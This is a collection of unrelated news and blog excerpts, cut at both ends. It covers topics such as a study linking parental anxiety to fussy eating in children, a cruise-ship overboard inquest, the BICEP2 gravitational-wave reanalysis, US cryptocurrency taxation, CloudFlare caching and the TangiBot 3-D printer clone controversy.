sold plants in Texas and California last year as part of the strategy.  BP's American depositary shares were down 1 cent at $46.69 in morning New York Stock Exchange trading. The company's stock was up 0.4 percent in London.  (Reporting by Edward McAlliser and Selam Gerekidan in New York, Arpan Varghese in Bangalore, Erwin Seba and Kristen Hays in Houston and David Sheppard in London; Editing by Lisa Von Ahn and Jeff Benkoe)
-Parental anxiety and/or depression during pregnancy and before their child starts school is linked to a heightened risk of that child becoming a ‘fussy’ eater, finds research published online in the Archives of Disease in Childhood.  The associations were evident for mums at both time periods, but just during the pre-school period for dads, the findings indicate.  Fussy eating behaviour, which is characterised by the consistent rejection of particular foods, is common in childhood, and a frequent source of concern for parents, say the researchers.  It has been associated with constipation, weight problems and behavioural issues in the child. And it’s been linked to postnatal anxiety and depression in mums.  But it’s not been clear if this anxiety/depression is caused by the child’s eating patterns or is itself a risk factor, nor is it known what potential impact the dad’s state of mind might have.  In a bid to try and answer these questions, the researchers quizzed participants in the Generation R study, which has been tracking the health and wellbeing of children from pregnancy onwards since 2002 in The Netherlands.  The current analysis was based on 4746 mother and child pairs and 4144 dads, whose children had all been born between 2002 and 2006.  Parents were asked to complete a validated questionnaire (BSI) during mid pregnancy, and then again three years later, to assess their own symptoms of anxiety and depression. And mothers completed another validated questionnaire (CEBQ) on childhood eating patterns, when their child reached the age of 4. Fathers also filled in a few questions about their child’s eating patterns when s/he was 3 years old.  By the age of 3, around 30% of the children were classified as fussy eaters.  After taking account of influential factors, such as educational attainment and household income, maternal anxiety during pregnancy, and during the preschool period, were both independently associated with fussy eating behaviour by the time their child was 4 years old. This was irrespective of their own symptoms when the child was 3.  Each additional point the mums scored on the anxiety scale in pregnancy was associated with an extra point on the score denoting fussy eating in their child.  Among the dads, only anxiety during the preschool period was associated with fussy eating in their child.  Further analysis showed that not only were clinically high maternal anxiety scores associated with fussy eating, but also scores that were above average, compared with mums who scored average or below average.  As for depression, higher maternal scores during the antenatal period as well as three years after the birth were independently related to higher fussy eating scores among their 4 year olds. The results were similar for the dads.  This is an observational study so no firm conclusions can be drawn about cause and effect, but the findings back up those of other research, say the study authors.  And the finding that the mum’s antenatal symptoms predicted a 4 year old’s fussy eating behaviour, irrespective of whether she had symptoms when the child was 3, “strongly suggests that the direction of the associations with mothers’ antenatal symptoms is from mother to child,” they write.  “Clinicians should be aware that not only severe anxiety and depression, but also milder forms of internalising problems can affect child eating behaviour,” they add.
-When reporters brought up Patrice Bergeron’s name ahead of Sunday’s NHL All-Star Game, the Boston Bruins center’s colleagues showered him with praise.  “I think the one thing you notice with Bergy, just the guy doesn’t make a mistake,” Colorado Avalanche center Matt Duchene told The Boston Globe’s Amalie Benjamin in Nashville, Tenn. “I think he’s as close to the perfect hockey player as you could ever find.”  Said New York Islanders center John Tavares: “He’s just always in the right spot, he always puts the puck in the right spot, he always seems to be the guy back defensively breaking up a play, getting you the puck in good spots, turning up the ice. He just makes the game so easy for you as a teammate and as a linemate. He is really a special player.”  Those are quite the compliments. But Bergeron certainly has earned that praise with his two-way play throughout his career.  And this season has been no different. The three-time Selke Trophy winner and former Stanley Cup champion has 19 goals, 25 assists, 44 points and a 57.2 faceoff winning percentage through 49 games.  “He’s probably one of the most complete players in the league,” Florida Panthers goalie Roberto Luongo told The Globe. “He’s so smart. Not only is he good offensively, but he does so many little things that people don’t see as far as D zone or faceoffs or just little intangibles, as far as being in the right place with the puck. All these things that people don’t really notice. But when you’re in the game and you play with a guy like that, you really appreciate it more.”  Bruins fans certainly appreciate Bergeron, too.  Thumbnail photo via Winslow Townson/USA TODAY Sports Images  Thumbnail photo via Boston Bruins center Patrice Bergeron
-LGBT journalists, bloggers, and other professionals will gather March 23-26 in Orlando for the 8th annual #LGBTMedia convention. The media members who most proudly cover the LGBT community plan to convene on March 23 at Orlando’s Rosen Centre with the specific goal of better informing each other on the current topics that most prominently impact the LGBT community.  The convening of journalists this year is sponsored by the National Lesbian and Gay Journalists Association (NLGJA) and funded in part by Arcus Foundation. The Arcus Foundation works "with experts and advocates for change to ensure that LGBT people and our fellow apes thrive in a world where social and environmental justice are a reality," according to the website. Also funding the conference is the Evelyn and Walter Haas Jr. Fund, a private family foundation based out of San Francisco that “promotes equal rights and opportunities with an emphasis on immigrants and gays and lesbians,” according to the foundation's mission statement.  “#LGBTMedia2017 is focused on giving LGBT journalists deeper insights into current topics and skills-building,” said Matt Foreman, Senior Program Director for the Haas, Jr. Fund. “Because we’ve added an extra day to the event this year, we’ll be covering a broad range of topics, including coverage of international issues and understanding journalism on trans issues.  According to their website, NLGJA is an "organization of journalists, media professionals, educators and students working from within the news industry to foster fair and accurate coverage of LGBT issues." The LGBT media weekend is an extension of what NLGJA stands for, and it provides an excellent resource for journalists looking to network with their peers and learn more about what makes covering the LGBT community such exciting work.  Hearing about others experiences, gaining advice, and being a part of a group of professionals that is so motivated to make a difference is a big part about what many journalists attending the NLGJA convention look forward to all year.  “I’m definitely looking forward to the keynote from Cathy Woolard, the former President of the Atlanta City Council and candidate for mayor,” Jen Christensen, Board President of NLGJA told SFGN. “She’s been fighting for LGBT rights for many years and I look forward to hearing her advice on how she thinks the community can move forward in what are tough times. In addition, seven journalists are going to give short talks based on their own experiences, such as staying professional when a story involves someone you know well.”  Obviously, the event being held in Orlando takes on a special meaning this year. Just about a year ago the Orlando LGBT community was devastated by the Pulse nightclub attack. The fact that so many journalists that were affected by the tragedy will be in attendance will not be ignored during the weekend.  “It would be impossible to be in Orlando and not focus on the Pulse tragedy – it’s still front and center in so many of our minds,” Christensen told SFGN. “We will be hearing from a survivor and panel of journalists about their experiences in covering the massacre and what can be learned from that coverage.”  All in all, the 7th LGBT media event is sure to build on what the six previous brought to the journalists who attend. Through the good, and the bad, LGBT journalists are a tight-knit community that is constantly evolving. Meeting once a year at such a great event is sure to only foster better journalism in the future.  “Along with engaging presentations and learning new skills, it’s great to be with so many other LGBTQ newspaper editors and bloggers.” Christensen told SFGN. “Our field is under tremendous pressure and talking with colleagues who face the same challenges on a daily basis is uniquely rewarding.”
-An inquest has heard that Paul Rossington should receive Australia's highest bravery award. The officer in charge of the case, Detective Sergeant Michael O'Keefe, said Mr Rossington should be recognised for his bravery with Australia's highest honour, the Cross of Valour. "He must have known that jumping out would most likely end with him losing his life," Mr O'Keefe said. Advocate assisting the Coroner Erika Mulligan said the evidence suggested the couple's deaths were a "tragic accident" and Ms Schroder was not intending to commit suicide. Mr Rossington, a paramedic, acted on instinct in attempting to save her. "He has not thought about his safety at all … that is certainly an act of bravery," Ms Mulligan said.  Paul Rossington and Kristen Schroder had been dating for about 10 months. The couple had been on an 11-day cruise of the South Pacific aboard the US-based Carnival Cruise's 12-deck Carnival Spirit liner with Ms Schroder's parents, siblings and their partners. Mr Rossington, a paramedic based in Barraba, 90 kilometres north of Tamworth, and Ms Schroder, a real estate agent, had a "turbulent relationship" and the cruise was seen as a "make or break" holiday, after which they would decide whether to stay together or break-up. Kristen and Paul Rossington. Credit:Facebook In a conversation with her sister, Ms Schroder said she had told Mr Rossington if he left her, she would kill herself, but there were no other indications she was suicidal.  The couple largely kept to themselves and didn't spend much time with Ms Schroder's family. They spent more than $2000 in the ship's onboard casinos, bars, restaurants and shops. Aron Dennis and Roxene Dennis, mother of Kristen Schroder, leave Glebe Coronor's Court. Credit:Christopher Pearce Mr O'Keefe said the couple had been seen arguing at dinner about an hour before they went overboard and Mr Rossington had stormed back to their fifth deck cabin, telling her to "go f--- yourself". Earlier that evening CCTV footage captured them having a "terse conversation" while playing a poker machine. Mr O'Keefe said lip reading experts were unable to determine what was said. The on-board swipe card system recorded Mr Rossington enter their cabin at 8.19pm. He apparently took off his shoes, clothes and underwear and got into bed. When Ms Schroder went back to the cabin she asked a steward to unlock the cabin's mini-bar fridge so she could stow a bottle of wine. The steward said he assumed Mr Rossington was asleep.  The ship docked at Circular Quay about 6.15am on May 9. By 10am the captain was told Mr Rossington and Ms Schroder hadn't disembarked. A sweep of the ship was completed by 11.20am and by 11.30am police were notified. The couple's personal items remained in their cabin, which was declared a crime scene. At 1.50pm crew reviewing the infrared footage saw two bodies go overboard from the proximity of the couple's cabin when the liner was 65 nautical miles due east of Crowdy Head and travelling at 22 nautical miles or 41 kilometres an hour. A search and rescue operation was launched but by this time the couple had been in the water for 16 hours. The inquest heard it was likely Ms Schroder had been rendered unconscious by hitting a railing before she entered the water and didn't surface. Mr O'Keefe said a consultant sea survival expert, Dr Paul Luckin, had opined Mr Rossington was probably seriously injured from jumping from a height of 19.35 metres into a one-metre-high swell in darkness and even if he wasn't, he would not have survived for very long. Mr Dillon addressed the families who attended the inquest, including 14 members of the extended Rossington clan, some who were dressed in Scottish kilts.  "It's a terrible price to pay but perhaps the loss of their lives will result in other people's lives not being lost in some way," Mr Dillon said. Mr Rossington's mother Christeen said she hoped her son's death "will see the introduction of safe cruise ship practices and protocols to reduce the risk of another tragedy occurring". Denise Minakowski, the director of shore-side operations for Carnival Australia told the inquest the company and other cruise line operators were committed to finding an effective "man overboard" alert system. "I think we're very close …. based on some of the trials we've had recently they've been much more successful than what we have had in the past," Ms Minakowski said. She said passengers are given a safety briefing upon embarkation and placards located around the ship instructed passengers to immediately contact crew in case of any emergency.  Mr Dillon told the families he was inclined to recommend passengers be given a specific safety briefing on what to do in the event of a man overboard. Mrs Rossington said her son had been a junior rugby league representative player with an easy-going nature. "Our son died as he lived – an honourable man," she said. Mr Dillon will hand down his findings on June 29.
-In September of 2012, Adrian Bayley raped and murdered 29-year-old Jill Meagher (below), receiving a life conviction for the crime. Also appalling is how Bayley had over twenty rape convictions to his name before being put away for good this time. Reacting to the story, one Catholic priest, Father Joseph Olickal, reportedly took the opportunity to opine that the murder victim might have been spared such a tragedy had she but lived a “more faith-filled” life.  The comments were allegedly made during an end-of-term mass at St Christopher’s Primary School in Airport West [Friday] before a congregation of students, staff and around 100 parishioners, 3AW reports. The priest held up a newspaper that featured a photo of Ms Meagher’s killer Adrian Bayley, telling the congregation had the 29-year-old Irish woman been “more faith-filled” she “would have been home in bed” and “not walking down Sydney Road at 3am”.  Monsignor Greg Bennett, vicar-general of the Melbourne archdiocese, said the church was aware of yesterday’s sermon and did not support the priest’s “totally inappropriate” and “offensive” comments. “I’ve spoken with the priest; he acknowledges that the homily wasn’t appropriate and apologises for the offence and upset it has caused,” Monsignor Bennett told 3AW.  To their credit, the church promptly responded to the inevitable criticism:  Of course, it isn’t just the fact that the comments were made that is an issue. The root of the problem is the mindset that prompts comments like Father Olickal’s — a victim-blaming mindset that contends that there is a certain way to act, and a certain set of (usually religious) rules to follow, that will protect “good” women from being raped; that rape is something that happens to women who transgress moral boundaries, and is, therefore, really the woman’s fault.  Still, I suppose it must be said that, considering how long this sort thing has come straight from the Church, it’s at least a step in the right direction to see churchmen recognizing, rather than endorsing, the inappropriateness of such commentary and publicly denouncing it.  (Image via Facebook. Thanks to Anthony for the link)
-When a team of cosmologists announced at a press conference in March that they had detected gravitational waves generated in the first instants after the Big Bang, the origins of the Universe were once again major news. The reported discovery created a worldwide sensation in the scientific community, the media and the public at large (see Nature 507, 281–283; 2014).  According to the team at the BICEP2 South Pole telescope, the detection is at the 5–7 sigma level, so there is less than one chance in two million of it being a random occurrence. The results were hailed as proof of the Big Bang inflationary theory and its progeny, the multiverse. Nobel prizes were predicted and scores of theoretical models spawned. The announcement also influenced decisions about academic appointments and the rejections of papers and grants. It even had a role in governmental planning of large-scale projects.  The BICEP2 team identified a twisty (B-mode) pattern in its maps of polarization of the cosmic microwave background, concluding that this was a detection of primordial gravitational waves. Now, serious flaws in the analysis have been revealed that transform the sure detection into no detection. The search for gravitational waves must begin anew. The problem is that other effects, including light scattering from dust and the synchrotron radiation generated by electrons moving around galactic magnetic fields within our own Galaxy, can also produce these twists.  The BICEP2 instrument detects radiation at only one frequency, so cannot distinguish the cosmic contribution from other sources. To do so, the BICEP2 team used measurements of galactic dust collected by the Wilkinson Microwave Anisotropy Probe and Planck satellites, each of which operates over a range of other frequencies. When the BICEP2 team did its analysis, the Planck dust map had not yet been published, so the team extracted data from a preliminary map that had been presented several months earlier. Now a careful reanalysis by scientists at Princeton University and the Institute for Advanced Study, also in Princeton, has concluded that the BICEP2 B-mode pattern could be the result mostly or entirely of foreground effects without any contribution from gravitational waves. Other dust models considered by the BICEP2 team do not change this negative conclusion, the Princetonteam showed (R. Flauger, J. C. Hill and D. N. Spergel, preprint at http://arxiv.org/abs/1405.7351; 2014).  The sudden reversal should make the scientific community contemplate the implications for the future of cosmology experimentation and theory. The search for gravitational waves is not stymied. At least eight experiments, including BICEP3, the Keck Array and Planck, are already aiming at the same goal.  “The inflationary paradigm is fundamentally untestable, and hence scientifically meaningless.”  This time, the teams can be assured that the world will be paying close attention. This time, acceptance will require measurements over a range of frequencies to discriminate from foreground effects, as well as tests to rule out other sources of confusion. And this time, the announcements should be made after submission to journals and vetting by expert referees. If there must be a press conference, hopefully the scientific community and the media will demand that it is accompanied by a complete set of documents, including details of the systematic analysis and sufficient data to enable objective verification.  The BICEP2 incident has also revealed a truth about inflationary theory. The common view is that it is a highly predictive theory. If that was the case and the detection of gravitational waves was the ‘smoking gun’ proof of inflation, one would think that non-detection means that the theory fails. Such is the nature of normal science. Yet some proponents of inflation who celebrated the BICEP2 announcement already insist that the theory is equally valid whether or not gravitational waves are detected. How is this possible?  The answer given by proponents is alarming: the inflationary paradigm is so flexible that it is immune to experimental and observational tests. First, inflation is driven by a hypothetical scalar field, the inflaton, which has properties that can be adjusted to produce effectively any outcome. Second, inflation does not end with a universe with uniform properties, but almost inevitably leads to a multiverse with an infinite number of bubbles, in which the cosmic and physical properties vary from bubble to bubble. The part of the multiverse that we observe corresponds to a piece of just one such bubble. Scanning over all possible bubbles in the multi­verse, every­thing that can physically happen does happen an infinite number of times. No experiment can rule out a theory that allows for all possible outcomes. Hence, the paradigm of inflation is unfalsifiable.  This may seem confusing given the hundreds of theoretical papers on the predictions of this or that inflationary model. What these papers typically fail to acknowledge is that they ignore the multiverse and that, even with this unjustified choice, there exists a spectrum of other models which produce all manner of diverse cosmological outcomes. Taking this into account, it is clear that the inflationary paradigm is fundamentally untestable, and hence scientifically meaningless.  Cosmology is an extraordinary science at an extraordinary time. Advances, including the search for gravitational waves, will continue to be made and it will be exciting to see what is discovered in the coming years. With these future results in hand, the challenge for theorists will be to identify a truly explanatory and predictive scientific paradigm describing the origin, evolution and future of the Universe.
-October 13, 2017 by: Michael Collins  So maybe you own some Bitcoin but, like my 6 year old with tooth fairy money, it’s burning a hole in your pocket. Maybe you are eyeballing a new video card for that mining rig to capture some more NEO and get GAS from newegg.com or you might just be picking up a much-needed microvelvet lounger for the pooch at overstock.com. The good news is you can pay for all of this with just a little bit of Bitcoin.  Well, under today’s rules, those purchases result in a capital gains (or loss if your timing is as bad as mine). That is because the IRS currently identifies Bitcoin as property. They laid the groundwork for this treatment in Notice 2014-21 (click here to read n-14-21), which I personally believe was rushed just to get something out there as cryptocurrencies began growing exponentially in popularity and there was no previous guidance as to the tax treatment.  Our friends in the U.K. have a little more breathing room than we do here in the U.S. While the IRS equivalent in the U.K. identifies Bitcoin and other cryptos similarly, as property, they also give each tax payer an exemption of £11,100 (around $14,000 US dollars) so that those spending it like cash don’t get hammered with capital gains taxes. They actually have capital gains taxes there too – even spelled the same but read it in your best John Oliver voice for the most accurate pronunciation.  Here in the US, we currently have no exemption so every single Satoshi of Bitcoin you spend is treated like a property sale and subject to either long-term (hopefully) or short-term (not hopefully) capital gains taxes depending upon how long you held it (or, better yet, how you identified it – which I will explain in a future column). Every single transaction. Even the .000213 BTC fee on an exchange of two other coins. In the stock exchange world, transaction fees can simply be added as part of the cost of the transaction and get added to the basis. In the crypto world, the fee itself is its very own transaction, treated from the current IRS perspective as a unique sale of property on its own. Note to self – if an exchange will accept USD for transaction fees, pay it with that and just add the fees in as part of the basis of the acquired coin. That would also save a lot of cost on these exchanges that are slow to adjust the crypto rate as the value of the coin increase against the U.S. dollar. More about that in a later column too.  With all of this incredible hassle to just spend Bitcoin in the United States, how will it ever truly catch on and be perceived widely as a viable alternative currency, rather than a black market of criminals who aren’t paying taxes anyway?  Enter our heroes, Representative Jared Polis, D-Colo., and Representative David Schweikert, R-Ariz., who serve as chairmen of the Congressional Blockchain Caucus. In recognition of the challenges faced in its growing adoption, the Caucus was formed during the 114th Congress in February of 2017 to educate and inform policymakers on blockchain technology and help the United States remain competitive in the international arena.  Polis and Schweikert introduced The Cryptocurrency Tax Fairness Act of 2017, which by its very name and the fact that they belong to different parties, suggests bipartisan understanding of the dozens of complaints generated by my last column that paying capital gains taxes on every single transaction is just “not fair.” I could use other quotes besides “not fair” but I’m trying to avoid an R- rating.  As the IRS strong-arms exchanges into revealing the potentially unreported, tax-consequential activities of their customers, Polis and Schweikert seem to have taken the stance that at least part of the blame for low self-reporting falls on the IRS for providing only vague guidance for taxpayers and preparers about the tax treatment of something with hybrid-like characteristics such as cryptocurrencies.  Prior to the introduction of The Cryptocurrency Tax Fairness Act of 2017 in September, Polis and Schweikert sent a letter to the Commissioner of the Internal Revenue Service, John Koskinen, requesting that the IRS “clarif[y] how to properly tax these forms of transactions.” Polis expanded by saying, “I look forward to hearing from Commissioner Koskinen and receiving clear-cut guidance for how digital currency users report their taxable income.”  The opinion of Polis and Schweikert seems clear that buying a soda from a Bitcoin-friendly vending machine should not trigger a capital gains tax situation and that eliminating capital gains taxes on at least some of the day-to-day transactions is exactly what they hope to accomplish. Like in the UK, the Act would exempt transactions under a certain amount from triggering a taxable capital gain. Unlike in the UK, the exemption is not $14,000 US, only $600. That is not anywhere close to where I would like see it, and this Act still has a long way to go before it becomes reality, but it is a huge step in the right direction as recognition of the legitimacy of cryptocurrencies in the United State continues to gain ground.  If you would like to receive updates to new topics addressed by the Crypto Tax Corner, be sure to follow us and consider supporting future content with a small donation by clicking here: Donate to the Crypto Tax Center.  © Michael L. Collins  Advertisements
-(Munroe Falls, Ohio release) – Defending two-time Trans Am Champion Amy Ruman will kick off the season this weekend for Round 1 of the 2017 Trans Am Championship Presented by Pirelli at Sebring International Raceway in Florida. After scoring her third consecutive win at Daytona International Speedway last November, Ruman captured the 2016 Trans Am Championship title for the second year in a row during the Series’ historic 50th Anniversary season.  The short winter break flew by for the “2016 Trans Am Crew of the Year” award winners, as they were busy re-bodying Ruman’s current chassis to the newer C7 Chevrolet Corvette body style. The Series has also made the switch to Pirelli tires for all teams. 2017 is set to be another challenging year, as even more competitors flock to the TA class.  There are 77 competitors entered for the Sebring race at the 3.7-mile road course. The TA class, at 26 entries, will run the multi-class format featuring a joint race with the TA/TA3/TA4 classes for a total of 44 race entries. The TA2 class, powered by AEM, will run a separate race with 33 entries.  “I can’t believe how quickly the season came upon us. I’m so excited to get back in the car and try out the new Pirelli tires and our new C7 Corvette. The crew has worked tirelessly throughout the offseason to get the No. 23 McNichols beast looking great and running fast! We will have a learning curve between the new tires and body style, but should come up to speed fairly quickly,” exclaimed Ruman. “I know there will be both new and familiar faces in the TA class this year, and I am looking forward to some awesome clean, close racing. Let’s just say I’m up for the three-peat challenge!”  Ruman and team are pleased to affirm their continued partnership with McNICHOLS CO., an Industrial and Architectural Hole Product Solutions company, for the 16th consecutive year. “We are delighted to return as Ruman Racing’s primary sponsor for another year of thrilling Trans Am racing. Amy and her outstanding crew have worked hard to be the best and stay on top and have delivered back-to-back championships for us, we are proud to be back on the No. 23,” said Gene McNichols, Chairman and CEO of McNichols Co.  “I am so appreciative to have such an incredible sponsor in McNichols Co. I am honored to be a representative for the Hole Story team and am looking to deliver another Championship for them!” commented Ruman.  The weekend will start off with a Pirelli tire test day on Thursday March 2nd, followed by a promoter test session and official TA practice 1 on Friday. Practice session 2 and qualifying will take place on Saturday March 4th. Sunday will feature two Trans Am races – the TA2 race at 11:05am followed by the TA/3/4 at 3:05pm, both at 100.98-miles 27-laps – all times listed are ET. Visit gotransam.com or svra.com for ticket, full schedule, and all other weekend information.
-Copyright by KRON - All rights reserved  MENLO PARK (KRON) -- An elderly driver was hit in the neck and killed by debris while he was driving on U.S. Highway 101 in Menlo Park on Friday afternoon, according to the CHP.  According to CHP, the elderly driver was killed by a small brass nut that may have fallen off a vehicle, or been kicked up from the road.  Below is an image of what CHP officers believed killed the man.  Copyright by KRON - All rights reserved Photo Courtesy: California Highway Patrol  Copyright by KRON - All rights reserved Photo Courtesy: California Highway Patrol  The driver killed has been identified as Louis Schaefer of Mountain View. He was 82 years old.  Witnesses said the man, who appeared to be in his early 80s, was struck by the item when it smashed through his windshield near Willow Road at about 1 p.m., said CHP Officer Art Montiel.  After being struck, the driver collided with the center divide, eventually coming to a stop. No other vehicles were involved in the accident.  The two left lanes of Highway 101 were closed.  All lanes have since reopened.  Bay City News contributed to this report.
-Handling traffic peaks with CloudFlare CDN for free  Every once in a while you're lucky and end up with a positive problem - your website content is suddenly very popular. You might scramble and start turning up your servers and tuning up your caches or maybe someone's de-facto solution is to install HHVM to run your WordPress faster. While this is all worth while if you plan for this to happen in the future as well, for and occasional hit piece of content it might not be worth it.  I've ran a dormant news site, metropolitan.fi, on Bolt since June 2013 for fun. On an average day it barely registers on any meters, averaging maybe 10-20 visitors a day. I run the site on a Virtual Server with multiple other sites on it (including this one).  The publication is by no means a triumph of journalism, it's more of an experiment. And while I don't normally even think about the service I have twice hit a niche and spark discussions by translating some news from Finland that have been noteworthy Globally:  While it's fun to attract some readers, it's not something I want to loose sleep over. The server runs other services and I'd rather not have them be affected by the traffic. The server would probably have managed this just fine without any tweaks, but as a life insurance I set up CloudFlare caching on it back in June 2013.  Promise of the CloudFlare Free Plan is:  Peace of mind about running your website so you can get back to what you love  CloudFlare offers a number of services, but the key take away for me is the advanced Content Delivery Network (CDN). This let's me easily scale up for load peaks when I need - actually even when I know don't need since the service is always-on.  The CDN platform delivers content with speed and closest to where the users is - with low latency. This results in lower load on my server and a better experience for a global audience. In addition to delivery, CloudFlare also offers other optimizations (resource minification, etc.). I've ran with default settings and it works just fine for such a simple content driven site.  So in the title your read that it's free. So what's the catch? Well, you'll run out of the free plan features at some point and then you'll want more. That's when you start paying. Just like with Slack and many other SaaS platforms. It's "freemium" and it works for my use.  I access the CloudFlare service very randomly, but as a marketing method the freemium model can be very effective. Each time I've had to actively use CloudFlare - it's been just perfect. I dabble in the field of web development and based on my experiences I would recommend the premium tiers to other people. So it's really a win-win.  Not to give a purely rosy picture about CloudFlare there is a price for the ease of use: You need to let CloudFlare handle your DNS. For larger corporations and more exotic setups this might make the service more trouble than it's worth.  CloudFlare works very well for delivering static content (along with dynamic commenting from Disqus). A complex eCommerce site, might not be such a no-brainer to deploy - there are plenty of options in the control panel.  With CloudFlare I can run a high-performance global news service on a shoestring budget. That's pretty amazing.  P.S. This site is not on CloudFlare, because it is an experiment on serving PHP with HHVM and H2O over HTTP/2  P.S.S. There are plenty of similar services out there, just Bing it!  P.S.S A commenter on Reddit wished for some statistics. See Sample Traffic Reports from CloudFlare Admin Panel  Written by Jani Tarvainen on Monday July 13, 2015  Permalink - Tags: performance, cdn, php, bolt, cloudflare, web, symfony  Leave a comment  Please enable JavaScript to view the comments powered by Disqus.  Disqus
-The fact that Sheldon Adelson has pledged to spend $100 million this year toward Mitt Romney's election probably seems excessive to most Americans, no matter what their income is. But that could potentially be an investment with an incredible 2,200% return if the Republican presidential nominee takes the White House in November, according to a new report from the left-leaning Center for American Progress Action Fund.  Assuming Romney's tax reform proposals were put into place, the billionarie casino magnate Adelson potentially stands to receive tax cuts adding up to more than $2 billion in savings.  According to Seth Hanlon, the director of fiscal reform at the Center, the Romney tax plan would benefit Adelson in the following ways:  Cut top tax rates, saving Adelson approximately $1.5 million on his annual compensa­tion as chief executive of his casino company.  Maintain the special low rates on dividends, potentially saving Adelson nearly $120 million on a single year's worth of dividends, more than enough to recoup his politi­cal donations.  Maintain the special low rates on capital gains, allowing Adelson to make back his political donations in capital gain tax cuts just by selling a fraction of his stock.  Provide a tax windfall of an estimated $1.2 billion to Adelson's company, Las Vegas Sands Corp., on untaxed profits from its Asian casinos, as well as a tax exemption for future overseas profits. Adelson's casinos already enjoy a special foreign tax exemp­tion from the Chinese administrative region of Macau, and Gov. Romney would make those foreign profits exempt from U.S. taxes as well.  Eliminate the estate tax, potentially providing a staggering $8.9 billion windfall to Adelson's heirs.  Hanlon used public information regarding Adelson's income and wealth, and the profits of his company, Las Vegas Sands Corp., to estimate his potential tax savings. But, as the report notes, the publicly available information likely does not paint a full picture of Adelson's finances, particularly his annual income.  Over a four-year period, Adelson could, by the Center's estimate, receive about $6 million in tax cuts on his executive compensation alone, in addition to $476 million from tax cuts on dividends, and $1.2 billion in permanent tax exemptions for corporate overseas profits -- coming out to a total of $2.3 billion in tax savings.  But even that figure is dwarfed by the potential savings that could come Adelson's way -- or rather, his family's way -- via the elimination of the estate tax, a key part of Romney's tax reform proposal.  Until the end of this year, only estates valued at more than $5.12 million are subject to an estate tax up to a 35 percent top rate; unless there is congressional action on the issue, next year all estates worth more than $1 million will be subject to a top rate of 55 percent.  In comparison to President Barack Obama, who has proposed reinstating the estate tax at 2009 levels (those worth more than $3.5 million subject to tax, with a top rate of 45 percent), Romney said he would completely repeal the tax. For Adelson, who had a net worth estimated at $19.7 billion, his heirs would receive $8.9 billion from estate tax cuts under that plan. That's 89 times more than Adelson is planning on spending to put Romney in the White House.  According to the report, $8.9 billion could fund a variety of federal programs, including Pell Grants for more than 2 million students, the entire Head Start early education program, or all of the activities at the National Science Foundation for a year. Or, of course, it could be used to reduce that federal budget deficit we keep hearing about.  Romney has proposed permanently extending all of the George W. Bush era individual income tax rates, eliminating the taxation of investment income for most taxpayers, reducing the corporate income tax from 35 to 25 percent and allowing several tax provisions in the 2009 stimulus bill -- including those that particularly benefit the middle clas, such as the American Opportunity credit for higher education and the expansion of the earned income tax credit -- expire in 2013.  The nonpartisan Tax Policy Center reports the Romney plan would actually increase the tax burden on those making less than 200,000 per year (95 percent of the population) by more than $500.  "It is not mathematically possible to design a revenue-neutral plan that preserves current incentives for savings and investment and that does not result in a net tax cut for high-income taxpayers and a net tax increase for lower- and/or middle-income taxpayers under the assumptions we have described above. This means that even if tax expenditures are eliminated in a way designed to make the resulting tax system as progressive as possible, there would still be a shift in the tax burden of roughly $86 billion from those making over $200,000 to those making less than that amount," the organization reported.  Although Romney, over the weekend, told NBC's Meet The Press that his proposal would not ultimately cut taxes for the rich because it would eliminate loopholes that reduce their tax bills. But he has refused to identify just what loopholes he would eradicate.
-Matt Strong invented a 3-D printer called TangiBot. More precisely, he built an exact replica of the MakerBot Replicator and is attempting to raise $500,000 on Kickstarter to fund its production.  In most cases, he would be met with a swift cease-and-desist letter, but the MakerBot Replicator is open source, meaning anyone can copy it and sell it. While legal, the TangiBot has raised the ethical hackles of many in the maker community.  Strong is unapologetic about the TangiBot's lack of originality, saying, "I want to bring a low-cost machine to market that people can trust. The Replicator is the best and completely open source. I discussed the licenses with lawyers, and it's totally legit."  What TangiBot lacks in design innovation it makes up for in cost. The entry-level TangiBot will cost $1,199 compared to $1,799 for a MakerBot Replicator. The secret to the Groupon-level discount? TangiBot will be manufactured in China, while MakerBots are built in Brooklyn.  Strong, a mechanical engineer by training, is a supply-chain specialist. Before TangiBot, he spent four years working at Provo Craft, shipping millions of Cricut paper cutters. By leveraging the supply chain he set up at his former post, he's delivering economies of scale and, he argues, making 3-D printing more affordable.  Strongs says his company, 3DTangible, isn't driven by economics alone. His daughter faced severe health challenges early in life and he points to the video of a disabled girl using a 3-D printed exoskeleton as an example of the innovation he wants to help foster.  "I want more people getting involved, designing their own tools at home, but so few people get a chance to experience 3-D printing," he says. "For more people to do it, the prices have to come down."  Despite his good intentions and impressive track record, Strong is getting a lot of flak from the 3-D printing community. Many object to the notion of using open source plans to undercut the original inventor on price without improving upon the design at all. Strong responds that MakerBot's technology is nothing new. "We used the same technology when I was in college. The big difference was that those printers cost $50,000." TangiBot, he says, is doing its part to accelerate adoption of the printers by making the machines cheaper, and eventually better.  The decision to manufacture in China has also raised eyebrows. Will TangiBots be produced in a Foxconn-like factory with unfair labor practices just to cut the price? "These factories pass Disney audits," Strong counters.  Phillip Torrone, the creative director at AdaFruit Industries and Senior Editor at Make magazine, was one of the big names who weighed in on the TangiBot Kickstarter page. "Being able to copy or 'clone' open source and open source hardware (OSHW) is not only OK, it's celebrated," Torrone told Wired Design. "OSHW has a goal of not only having good designs shared, but the desire to add value to the world when it's shared and improvements are made."  >"Kickstarter would likely not allow any of us to get funding for a self-described iPhone clone or knock-off, ask for $500K, and then assure everyone it will be just as good..." – Phillip Torrone  Torrone's primary frustration was the over-reliance on the MakerBot trademark – the one way open source projects can protect their brand – and the good will that is associated with it. He says, "The TangiBot Kickstarter page used the MakerBot name dozens of times and assured quality because it's a 'clone' and in TangiBot's words a 'knock-off.' [Editor's note: Strong has since removed much of the "MakerBot" language from the Kickstarter page.] That's banking really hard on MakerBot's name, quality, and reputation in hopes of getting $500,000. Just because it's a 'clone' does not mean it will work or perform the same. What I suggested to Matt was to showcase the improvements, how he'd make it lower cost, how he'll support the TangiBots."  Torrone wonders whether Kickstarter would tolerate such clones of more mainstream products: "Kickstarter would likely not allow any of us to get funding for a self-described iPhone clone or knock-off, ask for $500K, and then assure everyone it will be just as good because it's an iPhone clone/knock off."  Another open source advocate, Terrence Tam, joined the peanut gallery on the TangiBot Kickstarter page: "I'm disappointed that you've chose to knock off/copy a respected industry leader, and undercutting them, therefore starting a race to the bottom." Tam, the creator of the OpenBeam construction kit, was funded to the tune of six figures in his Kickstarter campaign.  Strong isn't surprised by the backlash, but believes 3-D printing is going this direction whether he succeeds or not. "There's a lifecycle in product development," he says. "Consumers don't get the benefit from open source projects until you get multiple manufacturers involved so they start thinking about how to lower costs while improving quality." It's hard to argue with 